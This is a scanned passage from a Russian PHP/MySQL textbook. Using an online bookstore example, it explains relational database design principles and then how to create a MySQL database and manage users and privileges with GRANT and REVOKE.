Избегайте хранения избыточной информации Несколько ранее мы задавались вопросом: “Почему бы просто не хранить адрес Славы Моргунова в таблице Orders?” Глава 8. Проектирование баз данных для веб-приложений 217
Если Слава Моргунов закажет в магазине “Буквофил” несколько книг (на что мы искренне надеемся), сведения о нем придется записывать несколько раз. В итоге таб- лица Orders может приобрести вид, показанный на рис. 8.4. Orders (Заказы) OrderlD (Идент. заказа) Amount (Сумма) Date (Дата) CustomerlD (Идент. клиента) ФИО (Имя) Address (Адрес) City (Город) 12 199.50 25-Июн-2005 1 Слава Моргунов 56, пер. Поттера пгт Хогвартс 13 43.00 29-Июн-2005 1 Слава Моргунов 56, пер. Поттера пгт Хогвартс 14 15.99 30-Июн-2005 1 Слава Моргунов 56, пер. Поттера пгт Хогвартс 15 23.75 01-Июл-2005 1 Слава Моргунов 56, пер. Поттера пгт Хогвартс Рис. 8.4. Структура базы данных, в которой хранится избыточная информация, занимает боль- ше места и может быть причиной аномалий в данных С таким подходом связаны две основные проблемы. Во-первых, напрасно тратится пространство на жестком диске. Зачем сохранять информацию о Славе трижды, если достаточно сделать это только один раз? Во-вторых, в этом случае возможно возникновение аномалий обновления, т.е. си- туаций, когда обновление базы данных приводит к несоответствиям в данных. Целостность данных нарушается, после чего неизвестно, какие данные верны, а ка- кие — нет. Как правило, подобные ситуации оборачиваются потерей данных. Следует избегать трех типов аномалий обновлений: аномалий модификации, ано- малий вставки и аномалий удаления. Если, ожидая выполнения заказа, Слава Моргунов переедет в другой дом, новый адрес придется указывать в трех местах, а не в одном, проделывая в три раза боль- шую работу. Можно не заметить других заказов и изменить адрес всего в одном мес- те, что приведет к еще худшим последствиям — несоответствию данных в базе. Такие проблемы называют аномалиями модификации, поскольку они появляются вследствие попыток модификации базы данных. В этом случае сведения о Славе Моргунове придется вводить каждый раз, при- нимая заказ. Поэтому необходимо постоянно проверять соответствие между вводи- мыми сведениями и данными, записанными в таблице. В противном случае в табли- це могут появиться две строки с противоречащей друг другу информацией о Славе Моргунове. Например, в одной строке может сообщаться, что Слава Моргунов живет в пгт Хогвартс, а в другой местом его проживания будет указан пгт Дартс. Такое несо- ответствие называется аномалией вставки, поскольку оно возникает во время вставки данных. Третий тип аномалий называется аномалией удаления, поскольку проявляется (кто бы мог подумать?) при удалении строк из базы данных. Для примера представим, что после выполнения заказ удаляется из базы данных. То есть, как только все текущие заказы Славы Моргунова выполнены, они удаляются из таблицы Orders. А это оз- начает, что мы больше не располагаем сведениями об адресе Славы. Мы не сможем прислать ему какие-то специальные предложения, и в следующий раз, когда он поже- лает заказать что-либо, придется снова собирать все данные о нем. В общем, проектирование базы данных следует выполнять так, чтобы предотвра- тить возникновение любой из описанных выше аномалий. 218 Часть II. Использование MySQL
Используйте элементарные значения столбцов Использование элементарных значений столбцов означает, что в каждом атрибуте каждой строки должен храниться только один элемент. Например, требуется узнать, какие книги отобраны для каждого заказа. Этого можно достичь несколькими путя- ми. В таблицу Orders можно добавить столбец, в котором будет размещаться список всех заказанных книг (рис. 8.5). Orders (Заказы) OrderlD (Идент. заказа) CustomerlD (Идент. клиента) Amount (Сумма) Date (Дата) Books Ordered (Заказанные книги) 1 3 88.40 02-Июн-2005 5-8459-0046-8 2 1 166.40 15-Июн-2005 5-8459-1082-Х, 5-8459-1134-6 3 2 88.40 19-Июн-2005 5-8459-0046-8 4 4 254.80 01-Июл-2005 5-8459-1082-Х, 5-8459-1134-6,5-8459-0046-8 Рис. 8.5. При таком подходе атрибут Books ordered (Заказанные книги) каждой стро- ки содержит несколько значений В силу ряда причин это не очень-то приемлемо. По существу в этом случае в один столбец мы помещаем целую таблицу, связывающую заказы с книгами. Такой подход осложняет ответ на вопрос типа: “Сколько экземпляров книги Java 2. Руководство раз- работчика’было заказано?” Система не сможет просто подсчитать количество сов- падающих записей. Вместо этого ей придется проанализировать значение каждого атрибута, чтобы найти внутри него возможные совпадения. Поскольку в этом случае мы создаем таблицу в таблице, то надо просто создать новую таблицу. Назовем ее Order lterns (Элементы_заказа). Схема этой таблицы показана на рис. 8.6. OrderJtems (Элементы заказа) OrderlD (Идент. заказа) ISBN Quantity (Количество) 1 5-8459-0046-8 1 2 5-8459-1082-Х 2 2 5-8459-1134-6 1 3 5-8459-0046-8 1 4 5-8459-1082-Х 1 4 5-8459-1134-6 2 4 5-8459-0046-8 1 Рис. 8.6. Этот подход упрощает процесс поиска заказанных книг Глава 8. Проектирование баз данных для веб-приложений 219
Приведенная выше таблица обеспечивает связь между таблицами Orders и Books. Использование таблиц подобного типа весьма характерно для случаев, когда два объ- екта связаны между собой отношением “многие ко многим” — в данном случае один заказ может включать в себя несколько книг, а каждая из книг может быть заказана несколькими людьми. Выбирайте подходящие ключи Убедитесь в том, что выбранные ключи уникальны. В данном случае мы создали- специальные ключи для клиентов (CustomerlD) и для заказов (OrderID), поскольку у этих реальных объектов может не оказаться идентификатора, который гарантирован- но является уникальным. Для книг создавать подобный идентификатор не требуется, он у них уже есть — это номер ISBN. Для таблицы Order l terns можно, при желании, добавить один ключ, однако комбинация атрибутов OrderlD и ISBN будет уникаль- ной, если заказ двух и более экземпляров одной и той же книги рассматривается как одна строка. По этой причине в таблицу Order lterns включен столбец Quantity. Подумайте, какие вопросы потребуется задавать базе данных Продолжая цепочку рассуждений, подумайте, на какие вопросы желательно по- лучать ответы от базы данных. (Вспомните, о чем говорилось в начале этой главы. Например, какие книги магазина “Буквофил” продаются лучше других?) Убедитесь, что база данных содержит всю необходимую информацию, и что между таблицами установлены все нужные связи, позволяющие ответить на поставленные вопросы. Избегайте проектов с большим количеством пустых атрибутов Если возникнет необходимость добавить в базу данных рецензии на книги, то су- ществует, по меньшей мере, два варианта, как это сделать. Оба они продемонстри- рованы на рис. 8.7. Books (Книги) ISBN Author (Автор) Title (Название) Price (Цена) Review (Рецензия) 5-8459-0046-8 5-8459-1082-Х 5-8459-1134-6 Майкл Морган Кристофер Негус Марина Смолина Java 2. Руководство разработчика Linux. Библия пользователя Corel DRAW ХЗ. Самоучитель 88.40 98.20 68.20 Book Reviews (Рецензии на книги) ISBN Review (Рецензия) Рис. 8.7. Для того чтобы добавить рецензии, можно либо добавить в таблицу Books столбец Review, либо создать специальную таблицу для рецензий 220 Часть II. Использование MySQL
Первый вариант подразумевает добавление столбца Review в таблицу Books. В та- ком случае каждую книгу будет сопровождать поле с рецензией. Если в базе данных много книг и рецензент не собирается делать обзор их всех, во многих строках этот атрибут не будет иметь значения (или, как говорят, будет иметь пустое значение). Наличие большого количества нулевых значений в базе данных — плохая прак- тика. Это означает лишнее место на жестком диске, проблемы с подсчитыванием итоговых сумм и выполнением других функций над числовыми столбцами. Когда пользователь встречает в таблице нулевое значение, он не знает, является ли данный атрибут незначащим, присутствует ли в базе данных ошибка, либо данные просто еще не введены. Большинства проблем с нулевыми значениями можно избежать, воспользовавшись иным подходом к проектированию. Для этого можно использовать второй вариант, представленный на рис. 8.7. Здесь в таблице Book Reviews перечисляются только книги и приводятся их рецензии. Обратите внимание, что в основе этого подхода лежит идея рецензирования книг единым рецензентом, т.е. между таблицами книг и рецензий существует отношение “один к одному”. Если вы хотите поддерживать несколько рецензий для одной и той же книги, возникнет отношение “один ко многим”, и в качестве начального проекта необходимо выбрать второй вариант. Кроме того, если для книги поддерживается одна рецензия, можно использовать ISBN в качестве первичного ключа в таблице Book Reviews. При наличии многих рецензий для каждой книги необходимо ввести уникальный идентификатор для каждой рецензии. Типы таблиц Как правило, базы данных состоят из двух типов таблиц. Простые таблицы, описывающие реальные объекты. Они могут иметь ключи к другим простым объектам, которые поддерживают отношения типа “одиц к одному” и “один ко многим”. Например, один клиент может сделать несколько заказов, однако каждый заказ размещается одним клиентом. Поэтому в заказе * помещается ссылка на клиента. Связывающие таблицы, которые описывают отношения типа “многие ко мно- гим” между двумя реальными объектами, например, отношение между таблица- ми Orders и Books. Такие таблицы часто ассоциируются с некоторой реальной транзакцией. Архитектура баз данных для веб-приложений Теперь, когда рассмотрена внутренняя архитектура базы данных, пришло время взглянуть на внешнюю архитектуры системы баз данных для веб-приложений и рас- смотреть методологию ее разработки. Основная работа веб-сервера проиллюстрирована на рис. 8.8. Эта система состо- ит из двух объектов: веб-браузера и веб-сервера. Между ними должен существовать канал связи. Веб-браузер посылает запрос на сервер, сервер отправляет обратно от- вет. Такая архитектура подходит для сервера, отсылающего обычные статические страницы. Архитектура же сайта, который включает в себя базу данных, несколько сложнее. Глава 8. Проектирование баз данных для веб-приложений 221
Рис. 8.8. Отношение типа клиент-сервер между веб-браузером и веб-сервером требует наличия канала обмена информацией Приложения баз данных для веб-приложениий, которые будут разрабатываться на страницах этой книги, соответствуют общей структуре баз данных для веб-при- ложениий, показанной на рис. 8.9. Большая часть этой структуры должна быть вам знакома. Рис. 8.9. Базовая архитектура баз данных для веб-приложениий включает в себя веб-браузер, веб-сервер, интерпретатор РНР и сервер баз данных Типичная транзакция базы данных для веб-приложениий состоит из этапов, обозна- ченных на рис. 8.9 цифрами. Мы рассмотрим их на примере магазина “Буквофил”. 1. Веб-браузер пользователя отправляет HTTP-запрос определенной веб-страницы. Например, HTML-форма может выдать запрос на поиск в магазине “Буквофил” всех книг, написанных Лорой Томсон. Страница с результатами поиска называется results.php. 2. Веб-сервер принимает запрос на results. php, извлекает файл и передает его на обработку интерпретатору РНР. Интерпретатор РНР начинает синтаксический анализ сценария. Сценарий содер- жит команду подключения к базе данных и выполнения запроса (на поиск книг). РНР открывает соединение с сервером MySQL и отправляет ему соответствующий запрос. 4. Сервер MySQL принимает запрос к базе данных, обрабатывает его, а затем отправляет результаты — в данном случае, список книг — обратно интерпретатору РНР. 5. Интерпретатор РНР завершает выполнение сценария, что обычно сопряжено с форматированием результатов запроса в виде HTML, после чего возвращает результаты в HTML-формате веб-серверу. 6. Веб-сервер пересылает браузеру HTML-страницу, в которой пользователь может просмотреть список необходимых книг. В основном процесс остается неизменным независимо от используемого сценар- ного механизма и сервера баз данных. Зачастую программное обеспечение веб-серве- ра, интерпретатор РНР и сервер баз данных функционируют на одном компьютере. В то же время, достаточно часто сервер базы данных работает на другом компьюте- ре. Это может быть обусловлено соображениями безопасности, увеличения пропуск- ной способности или более эффективного распределения нагрузки. С точки зрения разработки эти подходы эквивалентны, однако в плане производительности второй вариант может оказаться более предпочтительным. 222 Часть II. Использование MySQL
По мере возрастания размеров и сложности приложения, можно разделить РНР- приложение на уровни — обычно это уровень работы с базами данных, который взаи- модействует с MySQL, уровень бизнес-логики, который содержит основную часть приложения, и уровень представления, управляющий HTML-выводом. Тем не менее, базовая архитектура, показанная на рис. 8.9, по-прежнему сохраняется; просто к раз- делу, относящемуся к РНР, добавляются дополнительные структуры. Дополнительная информация В данной главе были раскрыты некоторые принципы проектирования реляцион- ных баз данных. Если вы желаете подробнее ознакомиться с теорией реляционных баз данных, можете обратиться к книгам таких признанных специалистов, как К. Дж. Дейт (С. J. Date), например, Введение в системы баз данных, 8-е издание (Издательский дом “Вильямс”, 2005 г.). Однако имейте в виду, что представленный в таких источни- ках материал может оказаться в основном теоретическим, поэтому иногда его труд- но задействовать непосредственно в промышленных веб-разработках. Как правило, среднестатистические базы данных для веб-приложений не особо сложны. Что дальше В следующей главе мы приступим к установке базы данных MySQL. Сначала вы научитесь устанавливать базу данных MySQL для работы в Интернете и отправлять ей запросы, а затем отправлять запросы из РНР-кода. Глава 8. Проектирование баз данных для веб-приложений 223
Создание базы данных для веб-приложений В этой главе мы обсудим методику установки базы данных MySQL для ее использова- ния на веб-сайте. В главе рассматриваются следующие темы. Создание базы данных. Настройка пользователей и полномочий. Знакомство с системами полномочий MySQL. Создание таблиц базы данных. Создание индексов. Типы столбцов в MySQL. В этой главе мы продолжим использовать в качестве примера интерактивный магазин “Буквофил”, который рассматривался предыдущей главе. Давайте вспомним схему базы данных приложения “Буквофил”: Customers(CustomerlD, Name, Address, City) Orders(OrderlD, CustomerlD, Amount, Date) Books(ISBN, Author, Title, Price) Order_Items(OrderlD, ISBN, Quantity) Book_Reviews(ISBN, Reviews) Напомним, что первичные ключи подчеркнуты, а внешние ключи представлены курсивом. Чтобы использовать материал этого раздела, необходимо иметь доступ к MySQL. Обычно это означает, что на веб-сервере уже выполнена базовая инсталляция MySQL, т.е. выполнены описанные ниже действия. Инсталляция необходимых файлов. Настройка пользователя, от имени которого будет выполняться MySQL. Настройка пути. При необходимости — запуск mysql install db. Установка пароля для привилегированного пользователя. Удаление анонимного пользователя и тестирование базы данных. Первоначальный запуск сервера MySQL и его настройка на автоматический запуск в будущем. 224 Часть II. Использование MySQL
Если все это проделано, можно смело приступать к изучению данной главы. Если это не так, то необходимые инструкции можно найти в приложении А. Если на каком-то эТапе работы с этой главой возникают проблемы, то они могут быть следствием неправильной настройки системы MySQL. Если это действительно так, обратитесь к вышеприведенному списку и приложению А, дабы устранить все возможные неточности. У вас также должен быть доступ к MySQL на компьютере, где у вас нет прав адми- нистратора (например, на машине, поддерживающей службу веб-хостинга, на рабо- чей станции и т.д.). В этом случае, чтобы работать с примерами или создать собственную базу данных, нужно попросить администратора настроить для вас учетную запись пользователя и базу данных, после чего сообщить назначенные имя пользователя, пароль и имя базы. Разделы главы, в которых объясняется, как устанавливать пользователей и базы данных, можно либо пропустить, либо прочесть, чтобы легче было объяснить свои требования администратору. Обычному пользователю не разрешается выполнять ко- манды создания пользователей и баз данных. Примеры, приведенные в этой главе, были собраны и протестированы в MySQL 5.1, доступной на момент написания книги. Некоторые предшествующие версии MySQL предоставляют меньшие функциональные возможности. Поэтому рекомендуется уста- новить наиболее новую, стабильно работающую версию или обновить существующую. Текущую версию можно загрузить с сайта MySQL по адресу http: / /www .mysql. com. В этой книге взаимодействие с MySQL осуществляется с использованием клиента командной строки под названием монитора MySQL, который входит в состав каждой версии MySQL. Тем не менее, допускается применение и других клиентов. Например, если вы используете MySQL в веб-среде стороннего хостинга, администраторы пре- доставляют браГузерный интерфейс phpMyAdmin. Различные графические интерфей- сы выглядят по-разному и могут отличаться от описанных здесь, однако предостав- ленные инструкции легко адаптируются под любой интерфейс. Использование монитора MySQL Примеры команд MySQL в этой и следующей главах завершаются точкой с запя- той (;), которая сообщает MySQL о том, что команду необходимо выполнить. Если точку с запятой не поставить, ничего не произойдет. Начинающие пользователи час- то сталкиваются с подобной проблемой. Пропуск точки с запятой позволяет вводить команды в нескольких строках. Мы воспользовались этой возможностью, чтобы облегчить чтение примеров. Продолже- ния строк легко узнать по символу продолжения, который выводит MySQL. Он вы- глядит так, как показано ниже: mysql> grant select Этот символ означает, что MySQL ожидает продолжения ввода команды. До тех пор, пока не будет введена точка с запятой, после каждого нажатия клавиши <Enter> на экране будут появляться символы продолжения. Следует отметить также и то, что SQL-операторы нечувствительны к регистру, а вот имена баз данных и таблиц чувствительны. Подробнее об этом — далее в главе. Глава 9. Создание базы данных для веб-приложений 225
Вход в MySQL Для входа в систему MySQL перейдите в командную строку и наберите строку: mysql -h имя_хоста -и имя_пользователя -р Команда mysql запускает монитор MySQL. Это клиент командной строки, кото- рый соединяется с сервером MySQL. Ключ -h используется для указания хоста, к которому нужно подключиться, т.е. к компьютеру с выполняющимся сервером MySQL. При вводе этой команды на том же компьютере, на котором действует сервер MySQL, применять этот ключ, равно как и параметр имя__хоста, не обязательно. В противном случае параметр имя_хоста следует заменить именем конкретного компьютера, на котором функционирует сервер MySQL. С помощью ключа -и указывается имя_пользователя, под которым необходимо подключиться. Если имя пользователя не указано, по умолчанию будет использовать- ся имя, под которым был выполнен вход в операционную систему. Если сервер MySQL установлен на вашем собственном компьютере или сервере, необходимо войти в систему под именем root (привилегированный пользователь) и создать базу данных, о которой мы поговорим чуть позже в этом разделе. Если уста- новка была только что выполнена, то root будет единственным пользователем, кото- рый имеет доступ к системе. Если MySQL используется на компьютере, администратором которого является кто-то другой, применяйте имя пользователя, которое вам выдал администратор. Ключ -р сообщает серверу о том, что вы хотите соединиться с использованием пароля. Можете не указывать этот ключ, если для пользователя, под именем которо- го выполняется вход в систему, пароль не требуется. Если вы входите в систему под именем root и пароль для этого пользователя еще не установлен, настоятельно рекомендуем прочесть приложение А и побыстрее уста- новить пароль. Без пароля для пользователя root система, по сути, беззащитна. Включать пароль в эту строку не обязательно — сервер MySQL запросит его са- мостоятельно. Фактически лучше пароль не включать в командную строку. Если он введен в командной строке, то появится на экране в форме обычного текста и таким образом может оказаться доступным остальным пользователям. После ввода предыдущей команды должен быть получен ответ, аналогичный сле- дующему: Enter password: (Если этого не произошло, убедитесь в том, что сервер MySQL запущен, а команда mysql указана где-то в пути поиска.) Теперь необходимо ввести пароль. Если все пройдет хорошо, вывод, отображае- мый на экране, должен быть подобным следующему: Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 1 to server version: 5.0.18-nt-log Type 'help;' or '\h’ for help. Type '\c' to clear the buffer. mysql> Вас приветствует монитор MySQL. Команды завершаются символами ; или \д. Идентификатор вашего соединения - 1, версия сервера: 5.0.'18-nt-log Для получения справки введите 'help; ' или '\h'. Чтобы очистить буфер, введите '\с'. mysql> 226 Часть II. Использование MySQL
Если на вашем компьютере такого ответа не последовало, убедитесь, что была вы- полнена команда mysql install db (если это необходимо), установлен и правильно введен пароль для* пользователя root. Если вам приходится работать на чужом компь- ютере, просто убедитесь в корректности ввода пароля. Теперь на экране должно наблюдаться приглашение на ввод команды MySQL, т.е. система готова к созданию базы данных. При работе на собственном компьютере выполните инструкции из следующего раздела. Если вы заходите в систему с чужого компьютера, все это уже должно быть сде- лано. В этом случае можно сразу перейти к разделу “Использование требуемой базы данных”. Для получения общего представления можете ознакомиться с промежуточ- ными разделами, но описанные в них команды выполнить не удастся. (Во всяком слу- чае, они не должны выполняться!) Создание баз данных и пользователей Система баз данных MySQL может поддерживать множество различных баз дан- ных. Обычно для одного приложения создается одна база данных. В нашем примере с приложением “Буквофил” база данных будет называться books. Создание базы данных представляет собой наиболее простую задачу. Введите в ко- мандной строке MySQL: mysql> create database имя_базы; Вместо имя_базы следует указать имя базы данных, которую требуется создать. Чтобы приступить к реализации примера приложения “Буквофил”, сейчас необходи- мо создать'базу данных books. Это все, что нужно сделать. Ответ должен выглядеть подобно показанному ниже: Query ОК, 1 row affected (0.06 sec) Запрос успешно выполнен, 1 строка изменена (0.06 с) Это значит, что все действия были выполнены правильно. Если подобного ответа не последовало, убедитесь, что в конце строки присутствует точка с запятой. Точка с запятой сообщает MySQL, что ввод команды завершен и ее пора выполнять. Настройка пользователей и полномочий Система MySQL может поддерживать много пользователей. По соображениям безопасности пользователь root (привилегированный пользователь) должен быть задействован только для административных целей. Для каждого пользователя, ко- торому необходимо работать в системе, должны быть установлены учетная запись и пароль. Они не обязательно должны совпадать с применяемыми вне MySQL (напри- мер, именами пользователей и паролями, которые служат для входа в системы UNIX или NT). Это же относится и к пользователю root. Вообще говоря, разумно иметь разные пароли для входа в систему и для MySQL, особенно, если речь идет о пароле привилегированного пользователя. Пароли для обычных пользователей устанавливать не обязательно, но все же на- стоятельно рекомендуется сделать это. При создании базы данных для доступа из Интернета стоит создать хотя бы по одной учетной записи пользователя для каждого веб-приложения. иГлава 9. Создание базы данных для веб-приложений 227
Может возникнуть вопрос: “Зачем вообще это нужно?” Ответ связан с системой полномочий. Знакомство с системой полномочий MySQL Одно из главных достоинств MySQL — поддержка сложной системы полномочий. Полномочие (privilege) — это право определенного пользователя выполнять опреде- ленное действие над определенным объектом. Это понятие очень близко к понятию прав доступа к файлам. При создании пользователя в среде MySQL ему предоставляются определенные полномочия, которые определяют, что пользователь может делать в системе, а что — нет. Принцип минимально необходимых полномочий Принцип минимально необходимых полномочий может использоваться для повы- шения безопасности любой компьютерной системы. Это общий, но очень важный принцип, который часто упускается из виду. Он заключается в следующем. Пользователь (или процесс) должен обладать наименьшим уровнем полномочий, который необходим для выполнения назначенной ему задачи. Это справедливо для MySQL, как и для любой другой системы. Так, чтобы выпол- нять запросы из Интернет-среды, обычному пользователю не нужны все те полно- мочия, которые предоставлены привилегированному пользователю. Следовательно, потребуется создать еще одного пользователя, который будет обладать лишь теми пол- номочиями, которые необходимы для доступа к только что созданной базе данных. Настройка пользователей: команда grant Команды GRANT и REVOKE применяются для предоставления и лишения прав поль- зователей MySQL на четырех уровнях полномочий: глобальный; базы данных; таблицы; столбца. Чуть позже будет показано, как всем этим пользоваться. Команда GRANT служит для создания пользователей и предоставления им полномо- чий. В общем виде команда GRANT выглядит следующим образом: GRANT полномочия [столбцы] ON элемент ТО имя_пользователя [IDENTIFIED BY 1 пароль'] [REQUIRE параметры_зз1] [WITH [GRANT OPTION | огранич__параметры] ] Конструкции, заключенные в квадратные скобки, являются необязательными. В данной синтаксической структуре присутствует несколько заполнителей. Первый, полномочия, должен заполняться разделенным запятыми списком полно- мочий, определенных в MySQL. Полномочия будут рассмотрены в’следующем разделе. 228 Часть II. Использование MySQL
Заполнитель столбцы необязателен. Его можно использовать для указания полно- мочий применительно к конкретным столбцам. При этом можно указывать имя одно- го столбца либо разделенный запятыми список имен столбцов. Заполнитель элемент может быть базой данных или таблицей, к которой приме- няются новые полномочия. Указав в качестве элемент строку * . *, можно предоста- вить полномочия для всех баз данных в целом. Такое действие называется предос- тавлением глобальных полномочий. Этот же эффект достигается и указанием лишь одного символа *, если полномочия не .должны применяться к какой-то конкретной базе данных. Обычно полномочия применяются ко всем таблицам в определенной базе дан- ных — имя_БД. *, к конкретной таблице — имя_БД. имя_таблицы, либо к определенным столбцам — имя_БД.имя_таблицы с последующим списком необходимых столбцов на месте заполнителя столбцы. Все перечисленное представляет три других доступных уровня полномочий: соответственно базы данных, таблицы и столбца. Если при выда- че этой команды используется какая-то конкретная база данных, то просто параметр имя_ та блицы будет интерпретироваться как “таблица в текущей базе данных”. В качестве значения имя_пользователя должно быть указано имя, под которым пользователь должен входить в MySQL. Помните, что оно не обязательно должно сов- падать с регистрационным именем, под которым выполняется вход в систему. В MySQL имя_пользователя может включать в себя и имя хоста, что весьма удобно для того, чтобы различать пользователей, скажем, laura (которое интерпретируется как laura@ localhost) и laura@somewhere. com. Это очень удобно, поскольку часто пользователи в различных доменах имеют одни и те же имена. Кроме того, повышается степень защи- щенности системы, поскольку можно указать, откуда пользователи могут подключаться к базе данных и даже к каким базам данных или таблицам они могут иметь доступ. В качестве заполнителя пароль следует указать пароль, необходимый для входа. Руководствуйтесь общими правилами использования паролей. О безопасности мы по- говорим чуть позже, отметим лишь, что пароль не должен быть легко угадываемым. Не стоит употреблять слово из словаря или совпадающее с именем пользователя. В идеале пароль должен включать в себя прописные и строчные буквы и небуквен- ные символы. Конструкция REQUIRE позволяет указывать, что пользователь должен подключать- ся через SSL (Secure Sockets Layer — уровень защищенных сокетов) и передавать до- полнительные параметры для SSL. Дополнительную информацию о SSL-соединениях с MySQL можно найти в руководстве по MySQL. Опция WITH GRANT OPTION, если она указана, дает право пользователю предостав- лять свои полномочия другим. Взамен конструкции GRANT OPTION можно указывать следующие конструкции: MAX_QUERIES_PER_HOUR п ИЛИ MAX_UPDATES_PER_HOUR п ИЛИ MAX_CONNECTIONS_PER_HOUR п С помощью этих конструкций можно ограничить количество запросов, обновле- ний или подключений, которые пользователь может выполнить за час. Они исключи- тельно полезны для ограничения загрузки индивидуальными пользователями совме- стно используемой системы. Глава 9. Создание базы данных для веб-приложений 229
Полномочия хранятся в пяти системных таблицах, расположенных в базе дан- ных mysql. Эти пять таблиц называются mysql.user, mysql.db, mysql.host, mysql. tables_priv и mysql. columns_priv. Вместо использования команды GRANT можно непосредственно изменять эти таблицы. Подробнее эти вопросы рассматри- ваются в главе 12. Типы и уровни полномочий В MySQL существуют три основных типа полномочий: полномочия, которые мож- но предоставлять обычным пользователям; полномочия, которые нужны только ад- министраторам, и несколько специальных полномочий. Любой пользователь может получить любые полномочия, тем не менее, обычно, в соответствии с принципом минимально необходимых полномочий, полномочия административного типа пре- доставляются только администраторам. Пользователям следует предоставлять полномочия только для тех баз данных и таблиц, с которыми им придется работать. Доступ к базе данных mysql должен быть закрыт для всех, кроме администратора, т.к. именно в ней хранятся учетные записи пользователей, пароли и т.п. (Эта база рассматривается в главе 12.) Полномочия для обычных пользователей непосредственно связаны с определен- ными командами SQL и правами их выполнения. Подробнее команды SQL рассмат- риваются в следующей главе. А пока мы постараемся дать общее представление о вы- полняемых ими действиях. Описание полномочий приведено в табл. 9.1. В столбце “Применяется к” перечислены объекты, к которым могут применяться полномочия данного типа. Таблица 9.1. Полномочия для пользователей Полномочие Применяется к Описание SELECT таблицам, столбцам Разрешает пользователям выбирать из таблиц строки (записи). INSERT таблицам, столбцам Разрешает пользователям вставлять в таблицы новые строки. UPDATE таблицам, столбцам Разрешает пользователям изменять значения в существующих строках таблиц. DELETE таблицам Разрешает пользователям удалять из таблиц существующие строки. INDEX таблицам Разрешает пользователям создавать и удалять индексы опреде- ленных таблиц. ALTER таблицам Разрешает пользователям изменять структуру существующих таблиц, добавляя столбцы, переименовывая столбцы или таблицы и изменяя типы данных, хранящихся в столбцах. CREATE базам данных, таблицам Разрешает пользователям создавать новые базы данных или табли- цы. Если в команде grant указана определенная база данных или таблица, пользователь может только создавать ту или иную базу дан- ных или таблицу, что подразумевает первоначальное ее удаление. DROP базам данных, таблицам Разрешает пользователям удалять базы данных или таблицы. С точки зрения безопасности системы большая часть полномочий обычных пользо- вателей сравнительно безобидна. Полномочия ALTER могут использоваться для обхода системы полномочий путем переименования таблиц, однако эти полномочия требуют- 230 Часть II. Использование MySQL
ся пользователям очень часто. При выборе средств защиты системы всегда приходится находить компромисс между практичностью и безопасностью. В каждом конкретном случае требуется индивидуальный подход к предоставлению полномочий ALTER, но не следует забывать, что они предоставляются пользователям достаточно часто. Помимо полномочий, перечисленных в табл. 9.1, существуют еще полномочия REFERENCES и EXECUTE, которые в настоящий момент не применяются, и GRANT, ко- торые предоставляются опцией WITH GRANT OPTION, а не в списке полномочия. В табл. 9.2 описаны полномочия, необходимые администраторам. Таблица 9.2. Полномочия для администраторов Полномочие Описание CREATE TEMPORARY TABLES Позволяет администратору использовать ключевое слово temporary в опера- торах create TABLE. FILE Позволяет помещать в таблицы данные из файлов и наоборот. LOCK TABLES Разрешает явное использование оператора lock tables. PROCESS Позволяет администратору просматривать серверные процессы, относящиеся ко всем пользователям. RELOAD Позволяет администратору перезагружать таблицы предоставления полномочий и сбрасывать полномочия, хосты, файлы журналов и таблицы. REPLICATION CLIENT Разрешает использовать оператор show status на ведущих и ведомых серве- рах репликации. Репликация описана в главе 12. REPLICATION SLAVE Разрешает ведомым серверам репликации подключаться к ведущему серверу. Репликация описана в главе 12. SHOW DATABASES Позволяет с помощью оператора show databases получать список всех баз данных. Без этого полномочия пользователи видят только базы данных, для которых у них имеются другие полномочия. SHUTDOWN Позволяет администратору останавливать сервер MySQL. SUPER Позволяет администратору удалять потоки, относящиеся к любому пользователю. Эти полномочия можно предоставлять не только администраторам, но прежде чем так поступать, следует хорошо подумать. Полномочия FILE несколько отличаются от других. Они очень удобны для поль- зователей, поскольку экономят массу времени, позволяя загружать данные из файла вместо того, чтобы набирать их заново. С другой стороны, у пользователя появляется возможность загрузить любой файл, который сервер MySQL в состоянии увидеть, в том числе базы данных других пользователей и файлы с паролями. Предоставляйте эти полномочия с осторожностью либо предлагайте пользователю загружать данные. Существуют также два специальных полномочия, которые описаны в табл. 9.3. Таблица 9.3. Специальные полномочия Полномочия Описание ALL Предоставляет все полномочия, перечисленные в табл. 9.1 и 9.2. Вместо all можно также написать all privileges. USAGE Не предоставляет никаких полномочий. Подобным образом можно создать пользователя, дать ему возможность входить в систему, но не разрешать ему что-либо делать. Как правило, со временем такой пользователь получает до- полнительные полномочия. Глава 9. Создание базы данных для веб-приложений 231
Команда revoke Противоположной команде GRANT является команда REVOKE. Она используется для лишения пользователя полномочий и по синтаксису сходна с командой GRANT: REVOKE полномочия [(столбцы)] ON элемент FROM имя_пользователя Если полномочия были предоставлены с конструкцией WITH GRANT OPTION, их можно удалить (вместе со всеми другими полномочиями) следующим образом: REVOKE ALL PRIVILEGES, GRANT FROM имя_пользователя Примеры использования команд grant и revoke Для предоставления полномочий администратору можно набрать: mysql> grant all - > on * - > to fred identified by ’nmbl23’ - > with grant option; Эта команда предоставляет пользователю с именем fred и паролем тпЬ123 все полномочия для всех баз данных с правом их передачи другим пользователям. Если этот пользователь в системе не нужен, лишите его всех полномочий: mysql> revoke all privileges, grant - > from fred; Теперь можно определить обычного пользователя без каких-либо полномочий: mysql> grant usage - > on books. * - > to anna identified by ’magicl23' ; Поговорив с Анной (anna), можно больше узнать о ее намерениях и в результате предоставить ей необходимые полномочия: mysql> grant select, insert, update, delete, index, alter, create, drop -> on books.* - > to anna; Обратите внимание, что для предоставления полномочий не требуется указывать пароль Анны. Если мы подозреваем, что Анна собирается натворить что-то нехорошее в базе данных, ее полномочия можно ограничить: mysql> revoke alter, create, drop - > on books.* -> from anna; Позже, когда ей не нужно будет пользоваться базой данных, ее можно лишить во- обще всех полномочий: mysql> revoke all -> on books. * -> from anna; 232 Часть II. Использование MySQL
